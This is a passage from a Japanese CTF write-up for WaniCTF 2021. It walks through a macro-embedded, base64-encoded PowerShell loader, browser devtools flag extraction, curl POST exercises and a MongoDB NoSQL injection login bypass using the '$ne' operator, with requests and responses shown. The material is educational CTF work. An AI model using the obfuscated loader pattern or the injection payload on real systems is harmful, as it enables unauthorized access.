22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) +\ unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) +\ unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) +\ unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) +\ unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) +\ unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) +\ unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) +\ unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) +\ unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) +\ unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) +\ unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) +\ unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312) print(shell_script)
$ ./decode_vba_code.py powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA $
そういうわけで次はPowerShellです。-e
オプションは後続の文字列をBase64デコード結果をスクリプトとして実行するので、デコードします。この時、PowerShellはUTF16-LEを使う点に注意します:
$ python3.8 -q >>> s = "LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA" >>> import base64 >>> base64.b64decode(s).decode("utf-16") ".('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()" >>>
後は1つ前の問題と同様に、文字列として評価できそうな部分をPowerShellで実行してやります:
PS C:\> (nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND() echo "Yes, we love VBA!" $input = Read-Host "Password" if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") { Write-Output "Correct!" } else { Write-Output "Incorrect" } PS C:\>
1つ前の問題と同様に、入力を比較しているところからフラグを入手できました: FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}
[Web, Beginner] sourcemap (158pt, 178solved)
へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう... え? ブラウザの開発者ツールのxxx機能から見れちゃうって!? https://sourcemap.web.wanictf.org
とりあえずURLにアクセスしてみると、パスワードを入力するフォーム1つのページが表示されました。入力してボタンを押すと、パスワードが正しいかどうか判定してくれるページのようです。
Google Chromeの開発者ツールのSourceタブを表示してjsファイルを開きます。この時「Pretty-print」ボタンをクリックすると改行やインデントを施してくれて見やすくしてくれます。clickイベントが設定されていそうなので検索すると、app.bcff35da.js内部の1箇所に見つかります:
[e("b-button", { attrs: { type: "is-primary", label: "Check" }, on: { click: function(r) { return t.submit() } } })]
return t.submit()
行の行番号付近をクリックしてブレークポイントを設定し、実際のボタンをクリックしてブレークさせます。その後ステップイン等を試していると、フラグを構築しているであろう箇所が見えます:
this[t(635, 631, 644, 637)] === e(426, 438, 431, 439) + e(440, 447, 438, 437) + t(622, 614, 627, 628) + t(626, 634, 618, 617) + "_50urc3m4p}" ? this[t(630, 628, 634, 628)] = !0 : this[t(636, 644, 639, 645)] = !0
その行でブレークした状態で、Consoleタブに移って比較対象を評価してやります:
> e(426, 438, 431, 439) + e(440, 447, 438, 437) + t(622, 614, 627, 628) + t(626, 634, 618, 617) + "_50urc3m4p}" < 'FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}'
フラグを入手できました: FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}
(Beginner問題にしてはだいぶ難しいのでは……?)
(2021/11/07 21:20追記)公式writeupによると、本問題のWebサイトではソースマップというものが配信されていて難読化前のJavascriptコードを閲覧でき、コメントとしてフラグが書かれているそうです。それはBeginner!
[Web, Easy] POST Challenge (181pt, 119solved)
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください! https://post.web.wanictf.org/
URLにアクセスすると、以下の説明文と、5つの問題がありました。各問題にはヒントも記述されています:
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください! FLAGの形式は FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]}
また、配布ファイルにapp.js
が含まれているます。5問とも、そのファイルを見ながら適切なPOSTをする問題です。
Challenge 1 https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください。 ふつうは入力欄があってそこに入力してボタンを押すとPOSTされるのですが、今回は入力欄がないので自分でツールを使ってPOSTリクエストを送信しましょう。 WSLやLinux環境がある人はcurlというコマンドが使用できると思います。pythonが使える人ならrequestsというライブラリが使いやすいです。 WaniCTFの問題画面から添付されたソースコードをダウンロードしてapp/app.jsを確認してみると、送信すべき内容がわかります。 また、POSTした後に帰ってくるレスポンスにrequest.bodyの内容を表示しているので活用してください。
app.js
を見ると、dataキーにhogeという値を与えれば良さそうです:
app.post("/chal/1", function (req, res) { let FLAG = null; if (req.body.data === "hoge") { FLAG = process.env.FLAG_PART1; } res.render("chal", { FLAG, chal: 1 }); });
curlコマンドでは-d
オプションを使うと、POSTメソッドでデータを送信できます:
$ curl -d 'data=hoge' https://post.web.wanictf.org/chal/1 <!DOCTYPE html> <html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous"> </head> <body> <nav class="navbar navbar-expand-sm navbar-light bg-light"> <a class="navbar-brand" href="/">POST Challenge</a> </nav> <div class="container"> Congratulations! Challenge 1 FLAG: y0u <!-- debug: {"requestHeader":{"host":"post.web.wanictf.org","user-agent":"curl/7.58.0","content-length":"9","accept":"*/*","content-type":"application/x-www-form-urlencoded","x-forwarded-for":"198.51.100.1","x-forwarded-proto":"https","x-real-ip":"198.51.100.1","accept-encoding":"gzip"},"requestBody":{"data":"hoge"}} --> </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script> </body> </html>$
Challenge1のFLAGはy0u
と分かりました。(以降、curlのレスポンスが長いのでgrepします。)
Challenge 2 https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください。 添付されたソースコードのapp/app.jsを確認してみると、リクエストヘッダを確認して条件分岐をしていることがわかります。 challenge1のヒントで紹介したツールには、任意のリクエストヘッダを送信するためのオプションがあるので、調べてみてください。 また、POSTした後に帰ってくるレスポンスにrequest.headersの内容を表示しているので活用してください。
app.post("/chal/2", function (req, res) { // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信 let FLAG = null; if ( req.headers["user-agent"].includes("Mozilla/5.0") && req.body.data === "hoge" ) { FLAG = process.env.FLAG_PART2; } res.render("chal", { FLAG, chal: 2 }); });
curlでは-A
オプションでUserAgentを指定できます:
$ curl -A 'Mozilla/5.0' -d 'data=hoge' https://post.web.wanictf.org/chal/2 --silent | grep FLAG Congratulations! Challenge 2 FLAG: ar3 $
Challenge2のFLAGはar3
と分かりました。
Challenge 3 添付されたソースコードのapp/app.jsを確認してみると、data.hogeのような深いプロパティに対してチェックを行おうとしています。 このような場合はdataを連想配列形式にする必要があります。そのためには、keyにブラケット表記を用いるかJSON形式を使用します。 ※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/3", function (req, res) { let FLAG = null; if (req.body.data?.hoge === "fuga") { FLAG = process.env.FLAG_PART3; } res.render("chal", { FLAG, chal: 3 }); });
curlで試すとブラケット表記を使えました:
$ curl -d 'data[hoge]=fuga' https://post.web.wanictf.org/chal/3 --silent | grep FLAG Congratulations! Challenge 3 FLAG: http $
Challenge3のFLAGはhttp
と分かりました。
Challenge 4 添付されたソースコードのapp/app.jsを確認してみると、送られたデータが数字やnullであるかチェックしています。 文字列ではなく数字やnullなどを送信したい場合はJSON形式で送信します。 ※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/4", function (req, res) { let FLAG = null; if (req.body.hoge === 1 && req.body.fuga === null) { FLAG = process.env.FLAG_PART4; } res.render("chal", { FLAG, chal: 4 }); });
curlでは-H
オプションで任意ヘッダーを指定でき、Content-Type: application/json
を指定することでJSONを送信できるとのことなので試しました:
$ curl -H 'Content-Type: application/json' -d '{"hoge":1, "fuga":null}' https://post.web.wanictf.org/chal/4 --silent | grep FLAG Congratulations! Challenge 4 FLAG: p0st $
Challenge4のFLAGはp0st
と分かりました。
Challenge 5 添付されたソースコードのapp/app.jsを確認してみると、送信されたファイルのハッシュをチェックしています。 画像を送信する時はmultipart/form-data形式を使用します。 ※サーバ側の実装として受け取る形式をJSON形式で統一したい場合など例外あり
function md5file(filePath) { const target = fs.readFileSync(filePath); const md5hash = crypto.createHash("md5"); md5hash.update(target); return md5hash.digest("hex"); } app.post("/chal/5", function (req, res) { let FLAG = null; if (req.files?.data?.md5 === md5file("public/images/wani.png")) { FLAG = process.env.FLAG_PART5; } res.render("chal", { FLAG, chal: 5 }); });
curlでは、-F
オプションを使うと、指定ファイル名で指定内容をPOSTできるとのことです。また、(-F
に限らず-d
等でも)@
文字を含めると、以降のファイルパスの内容を送信してくれるとのことです:
$ curl -F data=@app/public/images/wani.png https://post.web.wanictf.org/chal/5 --silent | grep FLAG Congratulations! Challenge 5 FLAG: m@ster! $
Challenge5のFLAGはm@ster!
と分かりました。
そういうわけで問題文URLの指示通りに各種FLAGを結合し、POST Challenge問題のフラグを入手できました: FLAG{y0u_ar3_http_p0st_m@ster!}
[Web, Normal] NoSQL (224pt, 68solved)
NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。 https://nosql.web.wanictf.org/
とりあえずURLにアクセスすると、UsernameとPasswordを指定するログインフォームがありました。これにログインする必要がありそうです。配布ファイルを確認すると、app/routes/login.js
の内容からMongoDBを使っていることが分かりました:
var express = require("express"); var router = express.Router(); const { MongoClient } = require("mongodb"); const uri = "mongodb://root:aduhwsfeok@mongo:27017?writeConcern=majority"; router.get("/", function (req, res, next) { res.render("login"); }); router.post("/", async function (req, res) { const client = new MongoClient(uri); try { if (!req.body.username || !req.body.password) { throw "error"; } await client.connect(); const user = await client.db("nosql").collection("users").findOne({ username: req.body.username, password: req.body.password, }); if (!user) { throw "error"; } req.session.user = user; res.redirect("/"); } catch (error) { const debug = JSON.stringify({ username: req.body.username, password: req.body.password, }); res.render("login", { message: "ログインに失敗しました", debug }); } finally { client.close(); } }); module.exports = router;
findOne関数のドキュメントに記載のあるquery operatorsを調べていると、$ne等の演算子を使えることが分かりました。条件を満たすものが複数ある場合でもfindOne関数は「natural order」で最初のものを返すらしいため、何にでもヒットする演算子を指定してやれば良さそうです。
curlで試しました。curlでは-b
オプションでクッキーを指定できました:
$ curl -i -H 'Content-type: application/json' -d '{"username": {"$ne": ""}, "password": {"$ne": ""}}' https://nosql.web.wanictf.org/login HTTP/2 302 content-type: text/plain; charset=utf-8 date: Sun, 07 Nov 2021 05:50:54 GMT location: / set-cookie: connect.sid=s%3AZNWGFsiwMSRJ17mhfovlAOiMgfr8qyAC.47iOmkOOM4J1GatUUQz2lSk7bvwEKRyQbb2BY3W3rko; Path=/; HttpOnly vary: Accept x-powered-by: Express content-length: 23 Found. Redirecting to /$ $ curl -b 'connect.sid=s%3AZNWGFsiwMSRJ17mhfovlAOiMgfr8qyAC.47iOmkOOM4J1GatUUQz2lSk7bvwEKRyQbb2BY3W3rko; Path=/; HttpOnly' https://nosql.web.wanictf.org/ <!DOCTYPE html> <html> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous"> </head> <body> <nav class="navbar navbar-expand-sm navbar-light bg-light"> <a class="navbar-brand" href="/">NoSQL Challenge</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav ml-auto"> <li class="nav-item"> <a class="nav-link" href="/logout">ログアウト</a> </li> </ul> </div> </nav> <div class="container"> FLAG{n0_sql_1nj3ction} </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script> </body> </html>$ $
フラグを入手できました: FLAG{n0_sql_1nj3ction}
感想
- 今回も教育的な問題が多くて素晴らしかったです。
- 48時間あると全問題じっくり眺める時間があって楽しめました。
- 今回も、配布ファイル名が
cry-fox
の分類-問題名
となっているのが分かりやすくてよかったです。